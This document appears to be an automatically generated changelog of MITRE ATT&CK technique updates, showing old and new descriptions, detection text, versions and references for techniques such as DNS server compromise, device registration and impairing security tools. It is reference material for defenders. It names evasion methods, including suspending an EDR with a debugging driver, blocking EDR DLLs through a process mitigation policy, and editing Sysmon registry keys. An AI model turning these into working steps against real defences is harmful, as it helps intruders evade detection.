| > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | ||
| > | n: FireEye DNS Hijack 2019) Additionally, adversaries may l | > | n: FireEye DNS Hijack 2019) Additionally, adversaries may l | ||
| > | everage such control in conjunction with [Digital Certificat | > | everage such control in conjunction with [Digital Certificat | ||
| > | es](https://attack.mitre.org/techniques/T1588/004) to redire | > | es](https://attack.mitre.org/techniques/T1588/004) to redire | ||
| > | ct traffic to adversary-controlled infrastructure, mimicking | > | ct traffic to adversary-controlled infrastructure, mimicking | ||
| > | normal trusted network communications.(Citation: FireEye DN | > | normal trusted network communications.(Citation: FireEye DN | ||
| > | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers | > | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Altern | ||
| > | aries may also be able to silently create subdomains pointed | > | atively, they may be able to prove ownership of a domain to | ||
| > | at malicious servers without tipping off the actual owner o | > | a SaaS service in order to assert control of the service or | ||
| > | f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin | > | create a new administrative [Cloud Account](https://attack.m | ||
| > | t Domain Shadowing) | > | itre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domai | ||
| > | n Hijacking 2025) Adversaries may also be able to silently c | ||||
| > | reate subdomains pointed at malicious servers without tippin | ||||
| > | g off the actual owner of the DNS server.(Citation: CiscoAng | ||||
| > | ler)(Citation: Proofpoint Domain Shadowing) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Passive DNS'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:13:56.342000+00:00 | 2025-10-24 17:49:20.486000+00:00 |
| description | Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. + +By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) | Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. + +By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative [Cloud Account](https://attack.mitre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domain Hijacking 2025) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CyberCX SaaS Domain Hijacking 2025', 'description': 'Tony Mau. (2025, May 29). Keys to the (SaaS) kingdom. Retrieved May 30, 2025.', 'url': 'https://cybercx.com.au/blog/keys-to-the-saas-kingdom/'} | |
| x_mitre_contributors | Menachem Goldstein | |
| x_mitre_contributors | Tony Mau (CyberCX) |
Current version: 1.8
Version changed from: 1.7 → 1.8
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search local system sources, such as file sy | t | 1 | Adversaries may search local system sources, such as file sy |
| > | stems, configuration files, local databases, or virtual mach | > | stems, configuration files, local databases, virtual machine | ||
| > | ine files, to find files of interest and sensitive data prio | > | files, or process memory, to find files of interest and sen | ||
| > | r to Exfiltration. Adversaries may do this using a [Command | > | sitive data prior to Exfiltration. Adversaries may do this | ||
| > | and Scripting Interpreter](https://attack.mitre.org/techniq | > | using a [Command and Scripting Interpreter](https://attack.m | ||
| > | ues/T1059), such as [cmd](https://attack.mitre.org/software/ | > | itre.org/techniques/T1059), such as [cmd](https://attack.mit | ||
| > | S0106) as well as a [Network Device CLI](https://attack.mitr | > | re.org/software/S0106) as well as a [Network Device CLI](htt | ||
| > | e.org/techniques/T1059/008), which have functionality to int | > | ps://attack.mitre.org/techniques/T1059/008), which have func | ||
| > | eract with the file system to gather information.(Citation: | > | tionality to interact with the file system to gather informa | ||
| > | show_run_config_cmd_cisco) Adversaries may also use [Automat | > | tion.(Citation: show_run_config_cmd_cisco) Adversaries may a | ||
| > | ed Collection](https://attack.mitre.org/techniques/T1119) on | > | lso use [Automated Collection](https://attack.mitre.org/tech | ||
| > | the local system. | > | niques/T1119) on the local system. | ||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Script: Script Execution', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:24.318000+00:00 | 2025-10-24 17:48:40.839000+00:00 |
| description | Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration. + +Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. + | Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. + +Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. + |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +For network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. | |
| x_mitre_version | 1.7 | 1.8 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Liran Ravich, CardinalOps |
Current version: 1.4
Version changed from: 1.3 → 1.4
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a device to an adversary-controlled | t | 1 | Adversaries may register a device to an adversary-controlled |
| > | account. Devices may be registered in a multifactor authent | > | account. Devices may be registered in a multifactor authent | ||
| > | ication (MFA) system, which handles authentication to the ne | > | ication (MFA) system, which handles authentication to the ne | ||
| > | twork, or in a device management system, which handles devic | > | twork, or in a device management system, which handles devic | ||
| > | e access and compliance. MFA systems, such as Duo or Okta, | > | e access and compliance. MFA systems, such as Duo or Okta, | ||
| > | allow users to associate devices with their accounts in orde | > | allow users to associate devices with their accounts in orde | ||
| > | r to complete MFA requirements. An adversary that compromise | > | r to complete MFA requirements. An adversary that compromise | ||
| > | s a user’s credentials may enroll a new device in order to b | > | s a user’s credentials may enroll a new device in order to b | ||
| > | ypass initial MFA requirements and gain persistent access to | > | ypass initial MFA requirements and gain persistent access to | ||
| > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | ||
| > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | ||
| > | ollment process may require only a username and password to | > | ollment process may require only a username and password to | ||
| > | enroll the account's first device or to enroll a device to a | > | enroll the account's first device or to enroll a device to a | ||
| > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | ||
| > | 2022) Similarly, an adversary with existing access to a net | > | 2022) Similarly, an adversary with existing access to a net | ||
| > | work may register a device to Entra ID and/or its device man | > | work may register a device or a virtual machine to Entra ID | ||
| > | agement system, Microsoft Intune, in order to access sensiti | > | and/or its device management system, Microsoft Intune, in or | ||
| > | ve data or resources while bypassing conditional access poli | > | der to access sensitive data or resources while bypassing co | ||
| > | cies.(Citation: AADInternals - Device Registration)(Citation | > | nditional access policies.(Citation: AADInternals - Device R | ||
| > | : AADInternals - Conditional Access Bypass)(Citation: Micros | > | egistration)(Citation: AADInternals - Conditional Access Byp | ||
| > | oft DEV-0537) Devices registered in Entra ID may be able t | > | ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio | ||
| > | o conduct [Internal Spearphishing](https://attack.mitre.org/ | > | n 2025) Devices registered in Entra ID may be able to condu | ||
| > | techniques/T1534) campaigns via intra-organizational emails, | > | ct [Internal Spearphishing](https://attack.mitre.org/techniq | ||
| > | which are less likely to be treated as suspicious by the em | > | ues/T1534) campaigns via intra-organizational emails, which | ||
| > | ail client.(Citation: Microsoft - Device Registration) Addit | > | are less likely to be treated as suspicious by the email cli | ||
| > | ionally, an adversary may be able to perform a [Service Exha | > | ent.(Citation: Microsoft - Device Registration) Additionally | ||
| > | ustion Flood](https://attack.mitre.org/techniques/T1499/002) | > | , an adversary may be able to perform a [Service Exhaustion | ||
| > | on an Entra ID tenant by registering a large number of devi | > | Flood](https://attack.mitre.org/techniques/T1499/002) on an | ||
| > | ces.(Citation: AADInternals - BPRT) | > | Entra ID tenant by registering a large number of devices.(Ci | ||
| > | tation: AADInternals - BPRT) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Active Directory: Active Directory Object Creation', 'User Account: User Account Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:17:39.860000+00:00 | 2025-05-22 21:02:06.575000+00:00 |
| description | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. + +MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) + +Similarly, an adversary with existing access to a network may register a device to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) + +Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT) | Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. + +MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) + +Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025) + +Devices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT) |
| x_mitre_version | 1.3 | 1.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Expel Atlas Lion 2025', 'description': 'Ben Nahorney and Jennifer Maynard. (2025, April 10). Observing Atlas Lion (part one): Why take control when you can enroll?. Retrieved May 22, 2025.', 'url': 'https://expel.com/blog/observing-atlas-lion-part-one/'} |
Current version: 1.7
Version changed from: 1.6 → 1.7
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify and/or disable security tools to avoi | t | 1 | Adversaries may modify and/or disable security tools to avoi |
| > | d possible detection of their malware/tools and activities. | > | d possible detection of their malware/tools and activities. | ||
| > | This may take many forms, such as killing security software | > | This may take many forms, such as killing security software | ||
| > | processes or services, modifying / deleting Registry keys or | > | processes or services, modifying / deleting Registry keys or | ||
| > | configuration files so that tools do not operate properly, | > | configuration files so that tools do not operate properly, | ||
| > | or other methods to interfere with security tools scanning o | > | or other methods to interfere with security tools scanning o | ||
| > | r reporting information. Adversaries may also disable update | > | r reporting information. Adversaries may also disable update | ||
| > | s to prevent the latest security patches from reaching tools | > | s to prevent the latest security patches from reaching tools | ||
| > | on victim systems.(Citation: SCADAfence_ransomware) Advers | > | on victim systems.(Citation: SCADAfence_ransomware) Advers | ||
| > | aries may also tamper with artifacts deployed and utilized b | > | aries may trigger a denial-of-service attack via legitimate | ||
| > | y security tools. Security tools may make dynamic changes to | > | system processes. It has been previously observed that the W | ||
| > | system components in order to maintain visibility into spec | > | indows Time Travel Debugging (TTD) monitor driver can be use | ||
| > | ific events. For example, security products may load their o | > | d to initiate a debugging session for a security tool (e.g., | ||
| > | wn modules and/or modify those loaded by processes to facili | > | an EDR) and render the tool non-functional. By hooking the | ||
| > | tate data collection. Similar to [Indicator Blocking](https: | > | debugger into the EDR process, all child processes from the | ||
| > | //attack.mitre.org/techniques/T1562/006), adversaries may un | > | EDR will be automatically suspended. The attacker can termi | ||
| > | hook or otherwise modify these features added by tools (espe | > | nate any EDR helper processes (unprotected by Windows Protec | ||
| > | cially those that exist in userland or are otherwise potenti | > | ted Process Light) by abusing the Process Explorer driver. I | ||
| > | ally accessible to adversaries) to avoid detection.(Citation | > | n combination this will halt any attempt to restart services | ||
| > | : OutFlank System Calls)(Citation: MDSec System Calls) Alter | > | and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboo | ||
| > | natively, they may add new directories to an endpoint detect | > | t) Adversaries may also tamper with artifacts deployed and | ||
| > | ion and response (EDR) tool’s exclusion list, enabling them | > | utilized by security tools. Security tools may make dynamic | ||
| > | to hide malicious files via [File/Path Exclusions](https://a | > | changes to system components in order to maintain visibility | ||
| > | ttack.mitre.org/techniques/T1564/012).(Citation: BlackBerry | > | into specific events. For example, security products may lo | ||
| > | WhisperGate 2022)(Citation: Google Cloud Threat Intelligence | > | ad their own modules and/or modify those loaded by processes | ||
| > | FIN13 2021) Adversaries may also focus on specific applica | > | to facilitate data collection. Similar to [Indicator Blocki | ||
| > | tions such as Sysmon. For example, the “Start” and “Enable” | > | ng](https://attack.mitre.org/techniques/T1562/006), adversar | ||
| > | values in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ | > | ies may unhook or otherwise modify these features added by t | ||
| > | Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Ope | > | ools (especially those that exist in userland or are otherwi | ||
| > | rational</code> may be modified to tamper with and potential | > | se potentially accessible to adversaries) to avoid detection | ||
| > | ly disable Sysmon logging.(Citation: disable_win_evt_logging | > | .(Citation: OutFlank System Calls)(Citation: MDSec System Ca | ||
| > | ) On network devices, adversaries may attempt to skip digi | > | lls) For example, adversaries may abuse the Windows process | ||
| > | tal signature verification checks by altering startup config | > | mitigation policy to block certain endpoint detection and re | ||
| > | uration files and effectively disabling firmware verificatio | > | sponse (EDR) products from loading their user-mode code via | ||
| > | n that typically occurs at boot.(Citation: Fortinet Zero-Day | > | DLLs. By spawning a process with the PROCESS_CREATION_MITIGA | ||
| > | and Custom Malware Used by Suspected Chinese Actor in Espio | > | TION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute | ||
| > | nage Operation)(Citation: Analysis of FG-IR-22-369) In clou | > | using API calls like UpdateProcThreadAttribute, adversaries | ||
| > | d environments, tools disabled by adversaries may include cl | > | may evade detection by endpoint security solutions that rel | ||
| > | oud monitoring agents that report back to services such as A | > | y on DLLs that are not signed by Microsoft. Alternatively, t | ||
| > | WS CloudWatch or Google Cloud Monitor. Furthermore, althoug | > | hey may add new directories to an EDR tool’s exclusion list, | ||
| > | h defensive tools may have anti-tampering mechanisms, advers | > | enabling them to hide malicious files via [File/Path Exclus | ||
| > | aries may abuse tools such as legitimate rootkit removal kit | > | ions](https://attack.mitre.org/techniques/T1564/012).(Citati | ||
| > | s to impair and/or disable these tools.(Citation: chasing_av | > | on: BlackBerry WhisperGate 2022)(Citation: Google Cloud Thre | ||
| > | addon_ransomware)(Citation: dharma_ransomware)(Citation: dem | > | at Intelligence FIN13 2021) Adversaries may also focus on s | ||
| > | ystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For exam | > | pecific applications such as Sysmon. For example, the “Start | ||
| > | ple, adversaries have used tools such as GMER to find and sh | > | ” and “Enable” values in <code>HKEY_LOCAL_MACHINE\SYSTEM\Cur | ||
| > | ut down hidden processes and antivirus software on infected | > | rentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Win | ||
| > | systems.(Citation: demystifying_ryuk) Additionally, adversa | > | dows-Sysmon-Operational</code> may be modified to tamper wit | ||
| > | ries may exploit legitimate drivers from anti-virus software | > | h and potentially disable Sysmon logging.(Citation: disable_ | ||
| > | to gain access to kernel space (i.e. [Exploitation for Priv | > | win_evt_logging) On network devices, adversaries may attem | ||
| > | ilege Escalation](https://attack.mitre.org/techniques/T1068) | > | pt to skip digital signature verification checks by altering | ||
| > | ), which may lead to bypassing anti-tampering features.(Cita | > | startup configuration files and effectively disabling firmw | ||
| > | tion: avoslocker_ransomware) | > | are verification that typically occurs at boot.(Citation: Fo | ||
| > | rtinet Zero-Day and Custom Malware Used by Suspected Chinese | ||||
| > | Actor in Espionage Operation)(Citation: Analysis of FG-IR-2 | ||||
| > | 2-369) In cloud environments, tools disabled by adversaries | ||||
| > | may include cloud monitoring agents that report back to ser | ||||
| > | vices such as AWS CloudWatch or Google Cloud Monitor. Furth | ||||
| > | ermore, although defensive tools may have anti-tampering mec | ||||
| > | hanisms, adversaries may abuse tools such as legitimate root | ||||
| > | kit removal kits to impair and/or disable these tools.(Citat | ||||
| > | ion: chasing_avaddon_ransomware)(Citation: dharma_ransomware | ||||
| > | )(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowds | ||||
| > | trike) For example, adversaries have used tools such as GMER | ||||
| > | to find and shut down hidden processes and antivirus softwa | ||||
| > | re on infected systems.(Citation: demystifying_ryuk) Additi | ||||
| > | onally, adversaries may exploit legitimate drivers from anti | ||||
| > | -virus software to gain access to kernel space (i.e. [Exploi | ||||
| > | tation for Privilege Escalation](https://attack.mitre.org/te | ||||
| > | chniques/T1068)), which may lead to bypassing anti-tampering | ||||
| > | features.(Citation: avoslocker_ransomware) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Sensor Health: Host Status', 'Process: Process Termination', 'Process: Process Creation', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Deletion', 'Driver: Driver Load'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:57.147000+00:00 | 2025-10-24 17:49:13.019000+00:00 |
| description | Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)
+
+Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool’s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)
+
+Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)
+
+On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)
+
+In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.
+
+Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)
+
+Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware) | Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)
+
+Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)
+
+Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool’s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)
+
+Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)
+
+On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)
+
+In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.
+
+Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)
+
+Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. + +Lack of expected log events may be suspicious. | |
| x_mitre_version | 1.6 | 1.7 |
| x_mitre_contributors[0] | Gordon Long, Box, Inc., @ethicalhax | Gordon Long, LegioX/Zoom, asaurusrex |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cocomazzi FIN7 Reboot', 'description': 'Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.', 'url': 'https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/'} | |
| x_mitre_contributors | Nay Myo Hlaing (Ethan), DBS Bank |
Current version: 1.3
Version changed from: 1.2 → 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 22:26:21.953000+00:00 | 2025-10-24 17:48:54.336000+00:00 |
| x_mitre_detection | Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may fake, or spoof, a sender’s identity by modif | t | 1 | Adversaries may fake, or spoof, a sender’s identity by modif |
| > | ying the value of relevant email headers in order to establi | > | ying the value of relevant email headers in order to establi | ||
| > | sh contact with victims under false pretenses.(Citation: Pro | > | sh contact with victims under false pretenses.(Citation: Pro | ||
| > | ofpoint TA427 April 2024) In addition to actual email conten | > | ofpoint TA427 April 2024) In addition to actual email conten | ||
| > | t, email headers (such as the FROM header, which contains th | > | t, email headers (such as the FROM header, which contains th | ||
| > | e email address of the sender) may also be modified. Email c | > | e email address of the sender) may also be modified. Email c | ||
| > | lients display these headers when emails appear in a victim' | > | lients display these headers when emails appear in a victim' | ||
